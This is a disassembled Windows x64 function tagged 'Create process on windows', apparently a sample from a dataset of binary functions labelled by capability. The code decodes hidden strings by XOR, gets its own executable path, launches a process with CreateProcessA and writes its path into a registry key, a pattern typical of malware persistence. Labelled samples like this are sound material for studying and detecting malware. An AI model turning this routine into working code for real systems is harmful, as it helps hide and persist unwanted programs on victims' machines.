Function at 0x140002470
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x430]
sub rsp, 0x530
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x210]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rbp + 0x210]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400024f1
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x40]
call fcn.1400017f0
mov byte [rsp + 0x50], 0x53
mov al, reloc.WS2_32.dll_ntohs
mov cl, 0x7c
xor edx, edx
xor al, 0x53
mov byte [rsp + 0x51], al
xor cl, 0x53
mov byte [rsp + 0x52], cl
mov byte [rsp + 0x53], dl
lea rax, [rsp + 0x51]
mov rdi, rbx
nop
inc rdi
cmp byte [rax + rdi], dl
jne 0x140002530
lea rsi, [rbp - 0x40]
mov r14, qword [rbp - 0x40]
mov r15, qword [rbp - 0x28]
cmp r15, 0x10
cmovae rsi, r14
test rdi, rdi
je 0x1400025df
mov r13, qword [rbp - 0x30]
test r13, r13
je 0x1400025df
mov r8d, 0x100
lea rcx, [rbp + 0x110]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x51]
lea rdx, [rsp + 0x51]
add rdx, rdi
lea rax, [rsp + 0x51]
cmp rax, rdx
je 0x1400025a3
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x110], 1
inc rcx
cmp rcx, rdx
jne 0x140002590
lea rax, [r13 - 1]
mov r13, rbx
cmp rax, rbx
cmovb r13, rax
add r13, rsi
movzx eax, byte [r13]
cmp byte [rbp + rax + 0x110], 0
jne 0x1400025da
cmp r13, rsi
je 0x1400025df
dec r13
movzx eax, byte [r13]
cmp byte [rbp + rax + 0x110], 0
je 0x1400025c3
sub r13, rsi
jmp 0x1400025e2
mov r13, rbx
cmp r15, 0x10
jb 0x14000261c
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002614
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002614
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400b8b1c
mov byte [rbp - 0x70], reloc.WS2_32.dll_listen
mov al, 0x64
mov cl, 0x63
mov dl, 0x7e
mov r8b, 0x79
mov r9b, 0x6c
mov r10b, 0x61
movzx r11d, r10b
xor ebx, ebx
xor al, 0xd
mov byte [rbp - 0x6f], al
xor cl, 0xd
mov byte [rbp - 0x6e], cl
xor dl, 0xd
mov byte [rbp - 0x6d], dl
xor r8b, 0xd
mov byte [rbp - 0x6c], r8b
xor r9b, 0xd
mov byte [rbp - 0x6b], r9b
xor r10b, 0xd
mov byte [rbp - 0x6a], r10b
xor r11b, 0xd
mov byte [rbp - 0x69], r11b
mov byte [rbp - 0x68], bl
movdqa xmm1, xmmword [0x1400d12a0]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x1400d1190]
movdqu xmmword [rsp + 0x68], xmm2
mov cl, Ordinal_45
mov dl, 0x37
mov r9b, reloc.WLDAP32.dll_Ordinal_46
mov r10b, reloc.WS2_32.dll_WSAGetLastError
mov r11b, 0x60
mov bl, 0x6c
mov dil, 0x64
mov sil, 0x2f
mov r14b, WSAStartup
mov r15b, 0x69
movzx r12d, r14b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor byte [rsp + 0x60], r8b
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor byte [rsp + 0x70], r8b
xor byte [rsp + 0x71], r8b
xor byte [rsp + 0x72], r8b
xor byte [rsp + 0x73], r8b
xor byte [rsp + 0x74], r8b
xor byte [rsp + 0x75], r8b
xor byte [rsp + 0x76], r8b
xor byte [rsp + 0x77], r8b
xor cl, r8b
mov byte [rsp + 0x78], cl
xor dl, r8b
mov byte [rsp + 0x79], dl
xor r9b, r8b
mov byte [rsp + 0x7a], r9b
xor r10b, r8b
mov byte [rsp + 0x7b], r10b
xor r11b, r8b
mov byte [rsp + 0x7c], r11b
xor bl, r8b
mov byte [rsp + 0x7d], bl
xor dil, r8b
mov byte [rsp + 0x7e], dil
xor sil, r8b
mov byte [rsp + 0x7f], sil
xor r14b, r8b
mov byte [rbp - 0x80], r14b
xor r15b, r8b
mov byte [rbp - 0x7f], r15b
xor r12b, r8b
mov byte [rbp - 0x7e], r12b
mov byte [rbp - 0x7d], 0
lea rax, [0x1400cb42e]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x6f]
lea r8, [rsp + 0x59]
lea rdx, [rbp + 0x78]
call fcn.140001be0
nop
mov byte [rbp - 0x78], WSACleanup
mov al, 0x5c
mov cl, reloc.WS2_32.dll_socket
mov dl, 0xa
movzx r8d, cl
xor r9d, r9d
xor al, 0x72
mov byte [rbp - 0x77], al
xor cl, 0x72
mov byte [rbp - 0x76], cl
xor dl, 0x72
mov byte [rbp - 0x75], dl
xor r8b, 0x72
mov byte [rbp - 0x74], r8b
mov byte [rbp - 0x73], r9b
mov byte [rsp + 0x50], reloc.WS2_32.dll_listen
mov al, 0x51
xor ecx, ecx
xor al, 0xd
mov byte [rsp + 0x51], al
mov byte [rsp + 0x52], cl
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], cl
jne 0x140002830
lea rdx, [rbp + 0x210]
lea rcx, [rbp]
call fcn.1400017f0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
cmp qword [rbp + 0x10], r13
cmovb r13, qword [rbp + 0x10]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, r13
lea rcx, [rbp - 0x40]
call fcn.1400017f0
nop
lea rax, [rsp + 0x51]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002890
lea rdx, [rsp + 0x51]
lea rcx, [rbp - 0x40]
call fcn.140006b50
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0x10
cmovae rdx, qword [rbp + 0x78]
mov r8, qword [rbp + 0x88]
lea rcx, [rbp - 0x20]
call fcn.140006b50
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea rax, [rbp - 0x77]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002930
lea rdx, [rbp - 0x77]
lea rcx, [rbp - 0x60]
call fcn.140006b50
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400029b2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
movdqa xmm0, xmmword [0x1400d05e0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140002a01
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
movdqa xmm0, xmmword [0x1400d05e0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140002a50
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
movdqa xmm0, xmmword [0x1400d05e0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140002a9f
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
mov byte [rbp - 0x70], Ordinal_60
mov al, 0x52
mov cl, 0x55
mov dl, 0x48
mov r8b, reloc.WLDAP32.dll_Ordinal_79
mov r9b, 0x5a
mov r10b, 0x57
movzx r11d, r10b
xor ebx, ebx
xor al, 0x3b
mov byte [rbp - 0x6f], al
xor cl, 0x3b
mov byte [rbp - 0x6e], cl
xor dl, 0x3b
mov byte [rbp - 0x6d], dl
xor r8b, 0x3b
mov byte [rbp - 0x6c], r8b
xor r9b, 0x3b
mov byte [rbp - 0x6b], r9b
xor r10b, 0x3b
mov byte [rbp - 0x6a], r10b
xor r11b, 0x3b
mov byte [rbp - 0x69], r11b
mov byte [rbp - 0x68], bl
movdqa xmm1, xmmword [0x1400d0ff0]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x1400d1060]
movdqu xmmword [rsp + 0x68], xmm2
mov cl, reloc.WLDAP32.dll_Ordinal_22
mov dl, reloc.WS2_32.dll_listen
mov r9b, reloc.WS2_32.dll_sendto
mov r10b, 0x4b
mov r11b, 0x5a
mov bl, reloc.WLDAP32.dll_Ordinal_79
mov dil, 0x53
mov sil, reloc.WS2_32.dll_setsockopt
movzx r14d, r10b
movzx r15d, dil
movzx r12d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor byte [rsp + 0x60], r8b
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor byte [rsp + 0x70], r8b
xor byte [rsp + 0x71], r8b
xor byte [rsp + 0x72], r8b
xor byte [rsp + 0x73], r8b
xor byte [rsp + 0x74], r8b
xor byte [rsp + 0x75], r8b
xor byte [rsp + 0x76], r8b
xor byte [rsp + 0x77], r8b
xor cl, r8b
mov byte [rsp + 0x78], cl
xor dl, r8b
mov byte [rsp + 0x79], dl
xor r9b, r8b
mov byte [rsp + 0x7a], r9b
xor r10b, r8b
mov byte [rsp + 0x7b], r10b
xor r11b, r8b
mov byte [rsp + 0x7c], r11b
xor bl, r8b
mov byte [rsp + 0x7d], bl
xor dil, r8b
mov byte [rsp + 0x7e], dil
xor sil, r8b
mov byte [rsp + 0x7f], sil
xor r14b, r8b
mov byte [rbp - 0x80], r14b
xor r15b, r8b
mov byte [rbp - 0x7f], r15b
xor r12b, r8b
mov byte [rbp - 0x7e], r12b
mov byte [rbp - 0x7d], 0
lea rax, [0x1400cb42e]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x6f]
lea r8, [rsp + 0x59]
lea rdx, [rbp + 0x58]
call fcn.140001be0
nop
lea r14, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r14, qword [rbp + 0x38]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor r15d, r15d
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov rdi, qword [rbp + 0x68]
lea rsi, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rsi, qword [rbp + 0x58]
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x140003078
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140002cbf
mov qword [rbp - 0x50], rdi
lea r8d, [r15 + 0x10]
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.1400b9b2c
jmp 0x140002d51
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140002cfb
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400b8890
mov rcx, rax
test rax, rax
je 0x140002d9a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002d35
mov rbx, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002d26
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000307e
jmp 0x140002cd9
test rcx, rcx
je 0x140002d32
call fcn.1400b8890
jmp 0x140002d35
mov rax, r15
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
mov rdx, r14
call fcn.1400019c0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140002da6
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002da1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002da1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
mov dword [rbp + 0xa0], WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002e3d
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x78], 0x64
lea rcx, [rbp - 0x78]
call fcn.140006c70
mov r8d, 0x100
lea rdx, [rbp + 0x320]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movdqa xmm1, xmmword [0x1400d0920]
movdqu xmmword [rbp - 0x60], xmm1
mov dl, 1
mov r8b, reloc.WLDAP32.dll_Ordinal_22
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x5f], al
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor byte [rbp - 0x58], cl
xor byte [rbp - 0x57], cl
xor byte [rbp - 0x56], cl
xor byte [rbp - 0x55], cl
xor byte [rbp - 0x54], cl
xor byte [rbp - 0x53], cl
xor byte [rbp - 0x52], cl
xor byte [rbp - 0x51], cl
xor dl, cl
mov byte [rbp - 0x50], dl
xor r8b, cl
mov byte [rbp - 0x4f], r8b
mov byte [rbp - 0x4e], 0
lea r8, [rbp - 0x5f]
call fcn.14005ac90
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
lea rax, [rbp + 0x320]
nop word [rax + rax]
inc r13
cmp byte [rax + r13], 0
jne 0x140002ef0
mov r8, r13
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x40]
call fcn.1400017f0
mov byte [rbp - 0x78], 3
mov al, 0x76
mov cl, reloc.WS2_32.dll_WSAStartup
mov dl, 0x67
mov r8b, 0x62
mov r9b, 0x77
mov r10b, 0x66
xor r11d, r11d
xor al, 3
mov byte [rbp - 0x77], al
xor cl, 3
mov byte [rbp - 0x76], cl
xor dl, 3
mov byte [rbp - 0x75], dl
xor r8b, 3
mov byte [rbp - 0x74], r8b
xor r9b, 3
mov byte [rbp - 0x73], r9b
xor r10b, 3
mov byte [rbp - 0x72], r10b
mov byte [rbp - 0x71], r11b
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x77]
mov rdx, rbx
call fcn.14005ae70
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140002fa8
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140002ff6
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ff1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ff1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
movdqa xmm0, xmmword [0x1400d05e0]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x140003048
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003043
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.1400b8870
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400013f0
nop
call fcn.140001350
int3